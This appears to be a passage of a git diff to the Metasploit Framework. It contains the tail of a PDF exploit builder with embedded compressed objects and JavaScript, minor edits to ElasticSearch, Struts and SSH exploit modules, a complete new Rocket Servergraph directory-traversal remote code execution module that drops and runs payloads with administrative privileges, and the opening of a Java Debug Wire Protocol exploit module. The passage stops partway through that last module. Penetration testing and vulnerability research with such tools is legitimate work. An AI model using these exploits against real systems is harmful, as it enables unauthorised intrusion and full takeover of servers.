"eJzjtbHRdw5WMDZTMFAI0g/WDylKzCsuSCxKzUuutLPjBQB75gjK") + add_compressed(35, "eJzj1ZA6peCnxVrNzHD3v1xSmdpmTV4AOosGFg==") + add_compressed(33, "eJzjjdb3dHZ2SixOTVEwslQwUAiK5QUANnUE/Q==") + add_compressed(29, "eJwBEQHu/g08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDIxNi9OIDE+PnN0cmVhbQ1IiWJgYJzh6OLkyiTAwJCbV1LkHuQYGREZpcB+noGNgZkBDBKTiwscAwJ8QOy8/LxUBgzw7RoDI4i+rAsyC1MeL2BNLigqAdIHgNgoJbU4GUh/AeLM8pICoDhjApAtkpQNZoPUiWSHBDkD2R1ANl9JagVIjME5v6CyKDM9o0TB0NLSUsExJT8pVSG4srgkNbdYwTMvOb+oIL8osSQ1BagWagcI8LsXJVYquCfm5iYqGOkZkehyIgAoLCGszyHgMGIUO48QQ4Dk0qIyKJORyZiBASDAAEnGOC8NZW5kc3RyZWFtDYkear8=") + add_compressed(36, "eJzjjdb3dHZ2SixOTVEwNlAwUAiK5QUANj4E9Q==") + add_compressed(30, "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") + add_compressed(38, "eJxNjbEOgjAYhJ+Ad/hHWPgplIoJaVIwaGIwRGsciAtYCFGLQx18e1vi4HDDXe6+8/IcBdAEIjiiaKw7QEqc4xw3wsedKmYgMcjBhmOAFVCsJBZGYzUAS9OEYb23u2LbkjCCn65YCr98TP0dnipA2QCxwAZitjwdVW/ayFajkBGasQwYIWGSUVitY7c+vTvzeSm8TLdRGZR+Z/SCqx3t/I92NaH1bDj3vvt1NZc=") + add_compressed(43, "eJzjtbHR9wpWMDFTMFAI0g/W90osSwxOLsosKLGz4wUAaC0Hzw==") + add_compressed(51, "eJxNjtEKgkAQRb9g/mG/wHHRTEF8kPCpyDIoEB/UJivQrXUF+/t2Y4seLnPhzj1ciGNMUzGXruMyo4Bzxwt9tozMXVSYCdkfXg9iHNc0dOrKAh83tZK3ueS2ZPTnK9zTKCbZ0qjxuRRtQarEfJVVSYLF1CjN+4DRkPG0be7UqiQZlaS6B8460CC7xQu/YziTBBd46gfOAjeyYRj9wiMMsAMazpb0BnLmPE4=") + + js = Zlib::Deflate.deflate(js) + add_object(46, "\x0d<>stream\x0d#{js}\x0dendstream\x0d") + + add_compressed(8, "eJzjtbHRd84vzStRMNR3yywqLlGwVDBQCNL3SYQzAxKLUoHy5mBOSGZJTqqGT35yYo6CS2ZxtqadHS8AmCkTkg==") + add_compressed(9, "eJzjtbHRd0ktLok2MlMwUAjSj4iMAtLmlkYKeaU5ObH6AYlFqXklChZgyWBXBUNTMCsksyQnVePff4YshmIGPYYShgqGEk07O14AWScVgw==") + add_compressed(17, "eJzjtbHR90vMTS2ONjZVMFAIUjAyAFGxdna8AF4CBlg=") + add_compressed(18, "eJzjtbHR90vMTS2ONrRUMFAIUjAyAFGxdna8AF4gBlo=") + add_compressed(19, "eJzj1UjLzEm10tfXd67RL0nNLdDPKtYrqSjR5AUAaRoIEQ==") + add_compressed(20, "eJzjtbHRdw7RKEmtKNEvyEnMzNPU93RRMDZVMFAI0vePNjIDMWL1g/WDA4DYU8HIECwTovHvP0MWQzGDHkMJQwVDiaZ+SLCGi5WRgaGJgbGxoaGhsampUZSmnR0vAOIUGEU=") + add_compressed(21, "eJzjtbHRdwxVMLRUMFAI0g8J1nCxMjIwNDEwNjY0NDQ2NTWK0rSz4wUAmbEH3g==") + add_compressed(39, "eJzjtbHRd0osTnXLzyvR90jNKUstyUxO1HXKz0nRd81Lzk/JzEtXMDFVMFAI0vdLzE0FqnHK1w8uTSqpLEjVDwEShmBSH2SAnR0vACeXGlQ=") + add_compressed(47, "eJzjtbHRd0osTnXLzyvR90jNKUstyUxO1HfNS85PycxLVzAxVTBQCNL3S8xNBUvrB5cmlVQWpOqHAAlDMKkP0mtnxwsAqd8Y1w==") + add_compressed(48, "eJzjtbHRd0osTnXLzyvRj0osSHPJzEtPSiwp1vdLzE0Firgk6QeXJpVUFqTqhwAJQzCpD1JuZ8cLAJhsFTA=") + add_compressed(45, "eJxNk81u2zAMx5+g75AnGJe0yFKgKGB0PgQYlsOaQzfswEi0LUSWUn1ky55+tJiovkQm+f+RFMXcPT3BV9N1FMgpir9WD3AIdCZQGLwDZYLKY2fpL2ifUClyCYbsegx5tJgT+N47OkIwrodkrKbF/SO8Z58ossvS4nENfcAzLZarDRyytZRAY99TuB76YIGsNadoItCoMQ5Arhyd9ZwYuoAqGW6nz8aWtJa69GEF0w8JRuNyhBOFNPgc0Wlpg9MfMFI1CnozhCzWh3/mLOkLngJqGjEcoTPcF3yLdupw18IPGdWbNjzE6Q4/xcEDsxSjAStSTxAl8q8ci+X6M7Q5eP54AJXD9AQXNtb8BP5I7oCBrQ3UxMqfLtKcD7ojvrBxPNcvK7C+Nwqt8wk+8Y+mDgL1JvJlSMOIqjREfSCCk81RZpX++Jh5YMYHSAPHqoUqJ4IxL5abeyg+PT19yaZIG2sR+N2rnvsZMapsS0ObzRR8zxiYmD4HtJ1UuDrjYvm4gqYsBjRSrZktW1NWCZp69aYsWNPCy618K3ArcDuD20ptRbMVzXam2VZNmwb4LuV2It+JfDeT766CSo3ZJnOyF9jJ4+4F3Qu6n6H7yrxJ8HXwgVeZwsg7erARUFiUMM5YlLJYU2AZA/Lf8zYGEpgEphlMlTKiMaIxM42pGuIxOCnnRe5F7mdyfxVUSpuzmRwyhCxgFjDPwFyJiwRTGcLl5v4Nr5cTv6JTnNv1z893/wElCbzZ") + add_compressed(23, "eJxNzLEKgzAQgOEn8B2ymVCqd4npUEQQXQsdCp0Tc4Ol9Ep6Qh+/gg7d/+8v2rYeMgWZ+TUGIT2eLWADziE65z0ewJYApdkqzrpPHEn1U+YYRCFWYOoLp3/sV2yxsacj+A1fM6dlolXv7k5RDeEtS6b9cZvlSfrxqeQrpuuKH+VYK70=") + + @xref_offset = @pdf.length + @pdf << xref_table << trailer(25) << startxref + + @pdf + end + +end diff --git a/modules/exploits/linux/ssh/symantec_smg_ssh.rb b/modules/exploits/linux/ssh/symantec_smg_ssh.rb index 42028df550..6733a74033 100644 --- a/modules/exploits/linux/ssh/symantec_smg_ssh.rb +++ b/modules/exploits/linux/ssh/symantec_smg_ssh.rb @@ -139,4 +139,4 @@ class Metasploit3 < Msf::Exploit::Remote handler(conn.lsock) end end -end \ No newline at end of file +end diff --git a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb index 4cea8269d3..c338fe7ffa 100644 --- a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb +++ b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb @@ -15,10 +15,10 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'ElasticSearch Dynamic Script Arbitrary Java Execution', 'Description' => %q{ - This module exploits a remote command execution vulnerability in ElasticSearch, + This module exploits a remote command execution (RCE) vulnerability in ElasticSearch, exploitable by default on ElasticSearch prior to 1.2.0. The bug is found in the - REST API, which requires no authentication or authorization, where the search - function allows dynamic scripts execution, and can be used for remote attackers + REST API, which does not require authentication, where the search + function allows dynamic scripts execution. It can be used for remote attackers to execute arbitrary Java code. This module has been tested successfully on ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3. }, @@ -65,29 +65,30 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - print_status("#{peer} - Trying to execute arbitrary Java..") + print_status("#{peer} - Trying to execute arbitrary Java...") unless vulnerable? fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...") end - print_status("#{peer} - Asking remote OS...") + print_status("#{peer} - Discovering remote OS...") res = execute(java_os) result = parse_result(res) if result.nil? - fail_with(Failure::Unknown, "#{peer} - Could not get remote OS...") + fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...") else - print_good("#{peer} - OS #{result} found") + # TODO: It'd be nice to report_host() with this info. + print_good("#{peer} - Remote OS is '#{result}'") end jar_file = "" if result =~ /win/i - print_status("#{peer} - Asking TEMP path") + print_status("#{peer} - Discovering TEMP path") res = execute(java_tmp_dir) result = parse_result(res) if result.nil? - fail_with(Failure::Unknown, "#{peer} - Could not get TEMP path...") + fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...") else - print_good("#{peer} - TEMP path found on #{result}") + print_good("#{peer} - TEMP path identified: '#{result}'") end jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar" else diff --git a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb index 154c2917ab..0ab2fcd253 100644 --- a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb +++ b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb @@ -97,4 +97,4 @@ class Metasploit3 < Msf::Exploit::Remote handler end -end \ No newline at end of file +end diff --git a/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb b/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb new file mode 100644 index 0000000000..88b2c04a08 --- /dev/null +++ b/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb @@ -0,0 +1,348 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Rocket Servergraph Admin Center fileRequestor Remote Code Execution', + 'Description' => %q{ + This module abuses several directory traversal flaws in Rocket Servergraph Admin + Center for Tivoli Storage Manager. The issues exist in the fileRequestor servlet, + allowing a remote attacker to write arbitrary files and execute commands with + administrative privileges. This module has been tested successfully on Rocket + ServerGraph 1.2 over Windows 2008 R2 64 bits, Windows 7 SP1 32 bits and Ubuntu + 12.04 64 bits. + }, + 'Author' => + [ + 'rgod ', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-3914'], + ['ZDI', '14-161'], + ['ZDI', '14-162'], + ['BID', '67779'] + ], + 'Privileged' => true, + 'Platform' => %w{ linux unix win }, + 'Arch' => [ARCH_X86, ARCH_X86_64, ARCH_CMD], + 'Payload' => + { + 'Space' => 8192, # it's writing a file, so just a long enough value + 'DisableNops' => true + #'BadChars' => (0x80..0xff).to_a.pack("C*") # Doesn't apply + }, + 'Targets' => + [ + [ 'Linux (Native Payload)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86 + } + ], + [ 'Linux (CMD Payload)', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD + } + ], + [ 'Windows / VB Script', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + } + ], + [ 'Windows CMD', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 30 2013')) + + register_options( + [ + Opt::RPORT(8888) + ], self.class) + + register_advanced_options( + [ + OptInt.new('TRAVERSAL_DEPTH', [ true, 'Traversal depth to hit the root folder', 20]), + OptString.new("WINDIR", [ true, 'The Windows Directory name', 'WINDOWS' ]), + OptString.new("TEMP_DIR", [ false, 'A directory where we can write files' ]) + ], self.class) + + end + + def check + os = get_os + + if os.nil? + return Exploit::CheckCode::Safe + end + + Exploit::CheckCode::Appears + end + + def exploit + os = get_os + + if os == 'win' && target.name =~ /Linux/ + fail_with(Failure::BadConfig, "#{peer} - Windows system detected, but Linux target selected") + elsif os == 'linux' && target.name =~ /Windows/ + fail_with(Failure::BadConfig, "#{peer} - Linux system detected, but Windows target selected") + elsif os.nil? + print_warning("#{peer} - Failed to detect remote operating system, trying anyway...") + end + + if target.name =~ /Windows.*VB/ + exploit_windows_vbs + elsif target.name =~ /Windows.*CMD/ + exploit_windows_cmd + elsif target.name =~ /Linux.*CMD/ + exploit_linux_cmd + elsif target.name =~ /Linux.*Native/ + exploit_linux_native + end + end + + def exploit_windows_vbs + traversal = "\\.." * traversal_depth + payload_base64 = Rex::Text.encode_base64(generate_payload_exe) + temp = temp_dir('win') + decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.vbs" + encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64" + exe_file_name = "#{rand_text_alpha(4 + rand(3))}.exe" + + print_status("#{peer} - Dropping the encoded payload to filesystem...") + write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64) + + vbs = generate_decoder_vbs({ + :temp_dir => "C:#{temp}", + :encoded_file_name => encoded_file_name, + :exe_file_name => exe_file_name + }) + print_status("#{peer} - Dropping the VBS decoder to filesystem...") + write_file("#{traversal}#{temp}#{decoder_file_name}", vbs) + + register_files_for_cleanup("C:#{temp}#{decoder_file_name}") + register_files_for_cleanup("C:#{temp}#{encoded_file_name}") + register_files_for_cleanup("C:#{temp}#{exe_file_name}") + print_status("#{peer} - Executing payload...") + execute("#{traversal}\\#{win_dir}\\System32\\cscript //nologo C:#{temp}#{decoder_file_name}") + end + + + def exploit_windows_cmd + traversal = "\\.." * traversal_depth + execute("#{traversal}\\#{win_dir}\\System32\\cmd.exe /B /C #{payload.encoded}") + end + + def exploit_linux_native + traversal = "/.." * traversal_depth + payload_base64 = Rex::Text.encode_base64(generate_payload_exe) + temp = temp_dir('linux') + encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64" + decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.sh" + elf_file_name = "#{rand_text_alpha(4 + rand(3))}.elf" + + print_status("#{peer} - Dropping the encoded payload to filesystem...") + write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64) + + decoder = <<-SH +#!/bin/sh + +base64 --decode #{temp}#{encoded_file_name} > #{temp}#{elf_file_name} +chmod 777 #{temp}#{elf_file_name} +#{temp}#{elf_file_name} +SH + + print_status("#{peer} - Dropping the decoder to filesystem...") + write_file("#{traversal}#{temp}#{decoder_file_name}", decoder) + + register_files_for_cleanup("#{temp}#{decoder_file_name}") + register_files_for_cleanup("#{temp}#{encoded_file_name}") + register_files_for_cleanup("#{temp}#{elf_file_name}") + + print_status("#{peer} - Giving execution permissions to the decoder...") + execute("#{traversal}/bin/chmod 777 #{temp}#{decoder_file_name}") + + print_status("#{peer} - Executing decoder and payload...") + execute("#{traversal}/bin/sh #{temp}#{decoder_file_name}") + end + + def exploit_linux_cmd + temp = temp_dir('linux') + elf = rand_text_alpha(4 + rand(4)) + + traversal = "/.." * traversal_depth + print_status("#{peer} - Dropping payload...") + write_file("#{traversal}#{temp}#{elf}", payload.encoded) + register_files_for_cleanup("#{temp}#{elf}") + print_status("#{peer} - Providing execution permissions...") + execute("#{traversal}/bin/chmod 777 #{temp}#{elf}") + print_status("#{peer} - Executing payload...") + execute("#{traversal}#{temp}#{elf}") + end + + def generate_decoder_vbs(opts = {}) + decoder_path = File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64") + + f = File.new(decoder_path, "rb") + decoder = f.read(f.stat.size) + f.close + + decoder.gsub!(/>>decode_stub/, "") + decoder.gsub!(/^echo /, "") + decoder.gsub!(/ENCODED/, "#{opts[:temp_dir]}#{opts[:encoded_file_name]}") + decoder.gsub!(/DECODED/, "#{opts[:temp_dir]}#{opts[:exe_file_name]}") + + decoder + end + + def get_os + os = nil + path = "" + hint = rand_text_alpha(3 + rand(4)) + + res = send_request(20, "writeDataFile", rand_text_alpha(4 + rand(10)), "/#{hint}/#{hint}") + + if res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\/#{hint}\/#{hint} \(No such file or directory\)/ + path = $1 + elsif res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\\#{hint}\\#{hint} \(The system cannot find the path specified\)/ + path = $1 + end + + if path =~ /^\// + os = 'linux' + elsif path =~ /^[a-zA-Z]:\\/ + os = 'win' + end + + os + end + + def temp_dir(os) + temp = "" + case os + when 'linux' + temp = linux_temp_dir + when 'win' + temp = win_temp_dir + end + + temp + end + + def linux_temp_dir + dir = "/tmp/" + + if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty? + dir = datastore['TEMP_DIR'] + end + + unless dir.start_with?("/") + dir = "/#{dir}" + end + + unless dir.end_with?("/") + dir = "#{dir}/" + end + + dir + end + + def win_temp_dir + dir = "\\#{win_dir}\\Temp\\" + + if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty? + dir = datastore['TEMP_DIR'] + end + + dir.gsub!(/\//, "\\") + dir.gsub!(/^([A-Za-z]:)?/, "") + + unless dir.start_with?("\\") + dir = "\\#{dir}" + end + + unless dir.end_with?("\\") + dir = "#{dir}\\" + end + + dir + end + + def win_dir + dir = "WINDOWS" + if datastore['WINDIR'] + dir = datastore['WINDIR'] + dir.gsub!(/\//, "\\") + dir.gsub!(/[\\]*$/, "") + dir.gsub!(/^([A-Za-z]:)?[\\]*/, "") + end + + dir + end + + def traversal_depth + depth = 20 + + if datastore['TRAVERSAL_DEPTH'] && datastore['TRAVERSAL_DEPTH'] > 1 + depth = datastore['TRAVERSAL_DEPTH'] + end + + depth + end + + def write_file(file_name, contents) + res = send_request(20, "writeDataFile", Rex::Text.uri_encode(contents), file_name) + + unless res && res.code == 200 && res.body.to_s =~ /Data successfully writen to file: / + fail_with(Failure::Unknown, "#{peer} - Failed to write file... aborting") + end + + res + end + + def execute(command) + res = send_request(1, "run", command) + + res + end + + def send_request(timeout, command, query, source = rand_text_alpha(rand(4) + 4)) + data = "&invoker=#{rand_text_alpha(rand(4) + 4)}" + data << "&title=#{rand_text_alpha(rand(4) + 4)}" + data << "¶ms=#{rand_text_alpha(rand(4) + 4)}" + data << "&id=#{rand_text_alpha(rand(4) + 4)}" + data << "&cmd=#{command}" + data << "&source=#{source}" + data << "&query=#{query}" + + res = send_request_cgi( + { + 'uri' => normalize_uri('/', 'SGPAdmin', 'fileRequest'), + 'method' => 'POST', + 'data' => data + }, timeout) + + res + end + +end diff --git a/modules/exploits/multi/http/struts_code_exec_parameters.rb b/modules/exploits/multi/http/struts_code_exec_parameters.rb index ce98a33357..2ebaee2ca1 100644 --- a/modules/exploits/multi/http/struts_code_exec_parameters.rb +++ b/modules/exploits/multi/http/struts_code_exec_parameters.rb @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote ['Windows Universal', { 'Arch' => ARCH_X86, - 'Platform' => 'windows' + 'Platform' => 'win' } ], ['Linux Universal', @@ -140,7 +140,7 @@ class Metasploit3 < Msf::Exploit::Remote exec_cmd << "#c=#cl.loadClass('metasploit.Payload')," exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" - when 'windows' + when 'win' path = temp_path || './' payload_exe = "#{path}#{payload_exe}.exe" exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')" diff --git a/modules/exploits/multi/http/struts_include_params.rb b/modules/exploits/multi/http/struts_include_params.rb index a2999d8026..ae8b8621de 100644 --- a/modules/exploits/multi/http/struts_include_params.rb +++ b/modules/exploits/multi/http/struts_include_params.rb @@ -129,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote exec_cmd << "#c=#cl.loadClass('metasploit.Payload')," exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" - when 'windows' + when 'win' @payload_exe = "./#{@payload_exe}.exe" exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')" else diff --git a/modules/exploits/multi/misc/java_jdwp_debugger.rb b/modules/exploits/multi/misc/java_jdwp_debugger.rb new file mode 100644 index 0000000000..990e67db17 --- /dev/null +++ b/modules/exploits/multi/misc/java_jdwp_debugger.rb @@ -0,0 +1,960 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + HANDSHAKE = "JDWP-Handshake" + + REQUEST_PACKET_TYPE = 0x00 + REPLY_PACKET_TYPE = 0x80 + + # Command signatures + VERSION_SIG = [1, 1] + CLASSESBYSIGNATURE_SIG = [1, 2] + ALLCLASSES_SIG = [1, 3] + ALLTHREADS_SIG = [1, 4] + IDSIZES_SIG = [1, 7] + CREATESTRING_SIG = [1, 11] + SUSPENDVM_SIG = [1, 8] + RESUMEVM_SIG = [1, 9] + SIGNATURE_SIG = [2, 1] + FIELDS_SIG = [2, 4] + METHODS_SIG = [2, 5] + GETVALUES_SIG = [2, 6] + CLASSOBJECT_SIG = [2, 11] + SETSTATICVALUES_SIG = [3, 2] + INVOKESTATICMETHOD_SIG = [3, 3] + CREATENEWINSTANCE_SIG = [3, 4] + REFERENCETYPE_SIG = [9, 1] + INVOKEMETHOD_SIG = [9, 6] + STRINGVALUE_SIG = [10, 1] + THREADNAME_SIG = [11, 1] + THREADSUSPEND_SIG = [11, 2] + THREADRESUME_SIG = [11, 3] + THREADSTATUS_SIG = [11, 4] + EVENTSET_SIG = [15, 1] + EVENTCLEAR_SIG = [15, 2] + EVENTCLEARALL_SIG = [15, 3] + + # Other codes + MODKIND_COUNT = 1 + MODKIND_THREADONLY = 2 + MODKIND_CLASSMATCH = 5 + MODKIND_LOCATIONONLY = 7 + MODKIND_STEP = 10 + EVENT_BREAKPOINT = 2 + EVENT_STEP = 1 + SUSPEND_EVENTTHREAD = 1 + SUSPEND_ALL = 2 + NOT_IMPLEMENTED = 99 + VM_DEAD = 112 + INVOKE_SINGLE_THREADED = 2 + TAG_OBJECT = 76 + TAG_STRING = 115 + TYPE_CLASS = 1 + TAG_ARRAY = 91 + TAG_VOID = 86 + TAG_THREAD = 116 + STEP_INTO = 0 + STEP_MIN = 0 + THREAD_SLEEPING_STATUS = 2 + + def initialize + super( + 'Name' => 'Java Debug Wire Protocol Remote Code Execution', + 'Description' => %q{ + This module abuses exposed Java Debug Wire Protocol services in order + to execute arbitrary Java code remotely. It just abuses the protocol + features, since no authentication is required if the service is enabled. + }, + 'Author' => [ + 'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help + 'Christophe Alladoum', # JDWP Analysis and Exploit + 'Redsadic ' # Metasploit Module + ], + 'References' => + [ + ['OSVDB', '96066'], + ['EDB', '27179'], + ['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'], + ['URL', 'http://seclists.org/nmap-dev/2010/q1/867'], + ['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'], + ['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'], + ['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html'] + ], 